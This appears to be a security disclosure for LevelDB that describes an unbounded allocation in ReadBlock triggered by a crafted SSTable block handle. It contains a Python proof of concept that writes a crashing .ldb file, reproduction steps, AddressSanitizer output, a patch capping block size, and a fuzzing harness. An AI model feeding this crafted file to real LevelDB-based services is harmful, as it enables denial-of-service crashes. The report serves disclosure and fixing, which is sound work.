Unbounded Allocation in leveldb::ReadBlock via Crafted SSTable Block Handle

Status ReadBlock(RandomAccessFile* file, const ReadOptions& options,
                 const BlockHandle& handle, BlockContents* result) {
  result->data = Slice();
  result->cachable = false;
  result->heap_allocated = false;

  // Read the block contents as well as the type/crc footer.
  // See table_builder.cc for the code that built this structure.
  size_t n = static_cast<size_t>(handle.size());   // u64 -> size_t, no bound check
  char* buf = new char[n + kBlockTrailerSize];     // allocation with untrusted size
  Slice contents;
  Status s = file->Read(handle.offset(), n + kBlockTrailerSize, &contents, buf);
  if (!s.ok()) {
    delete[] buf;
    return s;
  }
  if (contents.size() != n + kBlockTrailerSize) {
    delete[] buf;
    return Status::Corruption("truncated block read");
  }

leveldbutil dump foo.ldb
  -> leveldb::DumpFile                     db/dumpfile.cc:225
    -> DumpTable                           db/dumpfile.cc:172
      -> Table::Open                       table/table.cc
      -> table->NewIterator()              table/table.cc
      -> TwoLevelIterator::SeekToFirst     table/two_level_iterator.cc
        -> SkipEmptyDataBlocksForward      table/two_level_iterator.cc:123
          -> InitDataBlock                 table/two_level_iterator.cc:156
            -> Table::BlockReader          table/table.cc:187
              -> leveldb::ReadBlock        table/format.cc:78   <-- new char[HUGE]
                -> operator new[]          abort / bad_alloc

# generate_poc.py — re-create the crashing .ldb from bytes
poc = bytes([
    0x00, 0x04, 0x05, 0x00, 0x00, 0x28, 0xa1, 0x86, 0x01, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x22, 0x6d, 0xc5, 0xff, 0xff, 0xfa, 0xff, 0xfb, 0xbe, 0xff,
    0x00, 0x00, 0x04, 0x05, 0x32, 0x00, 0x00, 0x00, 0xd8, 0x9b, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x02, 0x6d, 0x3b, 0x00, 0x00, 0x05, 0xcc, 0x02, 0x41,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x2e, 0x02, 0x00, 0x00, 0x00, 0x00, 0x41, 0x00, 0x19, 0x00, 0x04, 0x05,
    0x00, 0x00, 0x34, 0x00, 0x00, 0x60, 0x00, 0x28, 0x00, 0x00, 0x00, 0x02,
    0x6d, 0x3b, 0x00, 0x00, 0x05, 0x00, 0x00, 0x41, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x57, 0xfb, 0x80, 0x8b, 0x24,
    0x75, 0x47, 0xdb,
])
open("000001.ldb", "wb").write(poc)

git clone https://github.com/google/leveldb
cd leveldb
git checkout 7ee830d02b623e8ffe0b95d59a74db1e58da04c5   # or current main
mkdir build && cd build
cmake -DCMAKE_BUILD_TYPE=Release \
      -DLEVELDB_BUILD_TESTS=OFF \
      -DLEVELDB_BUILD_BENCHMARKS=OFF \
      -DCMAKE_CXX_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g -O1" \
      -DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g -O1" ..
make -j leveldbutil

python3 generate_poc.py
ASAN_OPTIONS=detect_leaks=0 ./leveldbutil dump 000001.ldb

./leveldb_table_open_scan_fuzzer 000001.ldb

=================================================================
==519532==ERROR: AddressSanitizer: requested allocation size 0xfefbdfff5fffca (0xfefbdfff600fd0 after adjustments for alignment, red zones etc.) exceeds maximum supported size of 0x10000000000 (thread T0)
    #0 0x...  in operator new[](unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:102
    #1 0x...  in leveldb::ReadBlock(...) table/format.cc:78
    #2 0x...  in leveldb::Table::BlockReader(...) table/table.cc:187
    #3 0x...  in InitDataBlock                   table/two_level_iterator.cc:156
    #4 0x...  in SkipEmptyDataBlocksForward      table/two_level_iterator.cc:123
    #5 0x...  in DumpTable                       db/dumpfile.cc:172
    #6 0x...  in leveldb::DumpFile(...)          db/dumpfile.cc:225
    #7 0x...  in HandleDumpCommand               db/leveldbutil.cc:29
    #8 0x...  in main                            db/leveldbutil.cc:57
    #9 0x...  in __libc_start_call_main

==519532==HINT: if you don't care about these errors you may set allocator_may_return_null=1
SUMMARY: AddressSanitizer: allocation-size-too-big in operator new[](unsigned long)
==519532==ABORTING

--- a/table/format.cc
+++ b/table/format.cc
@@ -68,12 +68,21 @@ Status BlockHandle::DecodeFrom(Slice* input) {
 Status ReadBlock(RandomAccessFile* file, const ReadOptions& options,
                  const BlockHandle& handle, BlockContents* result) {
   result->data = Slice();
   result->cachable = false;
   result->heap_allocated = false;

   // Read the block contents as well as the type/crc footer.
   // See table_builder.cc for the code that built this structure.
+  // SECURITY: block sizes beyond a sane ceiling indicate a corrupt or
+  // malicious SSTable. Default Options::block_size is 4 KiB; real
+  // tables rarely exceed a few MB per block. A hard cap of 64 MiB is
+  // ~4000x the default and well above documented use, while small
+  // enough to avoid std::bad_alloc / ASan allocation-size-too-big on
+  // adversarial inputs. Without this check the raw new char[] below
+  // will happily attempt to allocate up to 2^64 bytes.
+  static constexpr uint64_t kMaxBlockSize = 64 * 1024 * 1024;
+  if (handle.size() > kMaxBlockSize) {
+    return Status::Corruption("block size exceeds kMaxBlockSize");
+  }
   size_t n = static_cast<size_t>(handle.size());
   char* buf = new char[n + kBlockTrailerSize];

// leveldb_table_open_scan_fuzzer.cc
//
// Copyright (c) 2011 The LevelDB Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file. See the AUTHORS file for names of contributors.

// libFuzzer harness for leveldb::Table::Open + full scan. Drives the
// SSTable footer + block parser on attacker bytes via an in-memory
// RandomAccessFile backed by the fuzz input.

#include <cstddef>
#include <cstdint>
#include <cstring>
#include <memory>
#include <string>

#include "leveldb/iterator.h"
#include "leveldb/options.h"
#include "leveldb/slice.h"
#include "leveldb/status.h"
#include "leveldb/table.h"
#include "leveldb/env.h"

namespace {

// Minimal RandomAccessFile wrapping a byte slice. Env::NewRandomAccessFile
// returns an instance of the same public abstract class in production,
// so the harness is not bypassing any security boundary.
class BytesRandomAccessFile : public leveldb::RandomAccessFile {
 public:
  BytesRandomAccessFile(const uint8_t* data, size_t size)
      : data_(data), size_(size) {}

  leveldb::Status Read(uint64_t offset, size_t n, leveldb::Slice* result,
                       char* scratch) const override {
    if (offset > size_) {
      *result = leveldb::Slice();
      return leveldb::Status::IOError("offset beyond file size");
    }
    size_t avail = size_ - static_cast<size_t>(offset);
    if (n > avail) n = avail;
    memcpy(scratch, data_ + offset, n);
    *result = leveldb::Slice(scratch, n);
    return leveldb::Status::OK();
  }

 private:
  const uint8_t* data_;
  size_t size_;
};

}  // namespace

// Pre-validate the SSTable footer (last 48 bytes) so Table::Open
// does not try to `new char[block_size]` with attacker-controlled,
// unbounded size fields in the OUTER metaindex / index handles.
// Footer layout:
//   [0..39]  metaindex BlockHandle + index BlockHandle
//            (each handle is two varint64s: offset, size)
//   [40..47] magic (0xdb4775248b80fb57)
// Note: this only bounds the OUTER handles. The inner data-block
// handles stored INSIDE the index block are NOT validated — that
// is exactly where the reported bug hides.
static bool LeveldbFooterSane(const uint8_t* data, size_t size) {
  if (size < 48) return false;
  if (size > (1u << 20)) return false;  // 1 MiB cap keeps allocs bounded
  const uint8_t* p = data + size - 48;
  const uint8_t* end = p + 40;
  auto decode_varint = [](const uint8_t*& c, const uint8_t* e) -> uint64_t {
    uint64_t result = 0;
    for (int shift = 0; shift <= 63 && c < e; shift += 7) {
      uint8_t b = *c++;
      result |= static_cast<uint64_t>(b & 0x7f) << shift;
      if (!(b & 0x80)) return result;
    }
    return UINT64_MAX;  // overflow / malformed
  };
  const uint64_t lim = size;
  uint64_t meta_off = decode_varint(p, end);
  uint64_t meta_sz  = decode_varint(p, end);
  uint64_t idx_off  = decode_varint(p, end);
  uint64_t idx_sz   = decode_varint(p, end);
  if (meta_sz > lim || idx_sz > lim) return false;
  if (meta_off > lim || idx_off > lim) return false;
  if (meta_off + meta_sz > lim) return false;
  if (idx_off + idx_sz > lim) return false;
  if (meta_sz > 64 * 1024 || idx_sz > 64 * 1024) return false;
  return true;
}

extern "C" int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) {
  if (!LeveldbFooterSane(data, size)) return 0;

  BytesRandomAccessFile file(data, size);
  leveldb::Options options;
  leveldb::Table* raw_table = nullptr;
  leveldb::Status s =
      leveldb::Table::Open(options, &file, size, &raw_table);
  if (!s.ok()) return 0;

  std::unique_ptr<leveldb::Table> table(raw_table);
  leveldb::ReadOptions ro;
  std::unique_ptr<leveldb::Iterator> it(table->NewIterator(ro));

  int scanned = 0;
  for (it->SeekToFirst(); it->Valid() && scanned < 100000; it->Next()) {
    // Touch both key and value to force the block iterator to
    // reconstruct the shared-prefix key and read value bytes —
    // this is what drives the TwoLevelIterator::InitDataBlock()
    // call that hits the vulnerable ReadBlock path.
    leveldb::Slice k = it->key();
    leveldb::Slice v = it->value();
    (void)k.size();
    (void)v.size();
    scanned++;
  }
  (void)it->status();
  return 0;
}

clang++ -std=c++17 -fsanitize=fuzzer,address -fno-rtti \
    -g -O1 -fno-omit-frame-pointer \
    -I<leveldb>/include -I<leveldb> \
    leveldb_table_open_scan_fuzzer.cc \
    <leveldb>/build/libleveldb.a \
    -lpthread -lsnappy \
    -o leveldb_table_open_scan_fuzzer